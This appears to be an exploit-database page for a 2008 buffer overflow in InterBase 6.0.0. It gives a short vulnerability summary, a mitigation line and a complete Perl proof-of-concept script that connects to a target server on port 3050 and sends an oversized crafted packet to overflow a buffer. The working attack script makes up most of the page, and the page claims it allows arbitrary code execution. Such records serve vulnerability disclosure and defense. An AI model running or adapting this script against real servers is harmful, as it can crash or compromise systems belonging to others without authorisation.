header-logo
Suggest Exploit
vendor:
InterBase 6.0.0
by:
Liu Zhen Hua
8.8
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: InterBase 6.0.0
Affected Version From: 6.0.0
Affected Version To: 6.0.0
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

POC.pl

POC.pl is a proof-of-concept exploit for a buffer overflow vulnerability in InterBase 6.0.0. This vulnerability allows an attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Upgrade to the latest version of InterBase 6.0.0
Source

Exploit-DB raw data:

###############################################################################################################
#                                 POC.pl                                                                   #
###############################################################################################################
#!/usr/bin/perl -w
#Author:  Liu Zhen Hua <alau [at] 163.com>

use IO::Socket;
use strict;
my $host=$ARGV[0];
sub usage {
print "usage: perl poc.pl serverip\n";
}
if ($#ARGV < 0) {
usage();
exit();
}
my $victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$host,
                                PeerPort=>3050);
my $pad0 = "\x41"x1000;       #"\x00\x00\x03\xE8"
my $pad5 = "\x43"x16;
my $exploit = "\x00\x00\x00\x52\xFF\xFF\xFF\xFF\x00\x00\x03\xE8".$pad0."\x00\x00\x00\x10".$pad5;
print $victim $exploit ;
print " + Malicious  request sent ...\n";
sleep(1);
print "Done.\n";
close($victim);
exit;

# milw0rm.com [2008-04-11]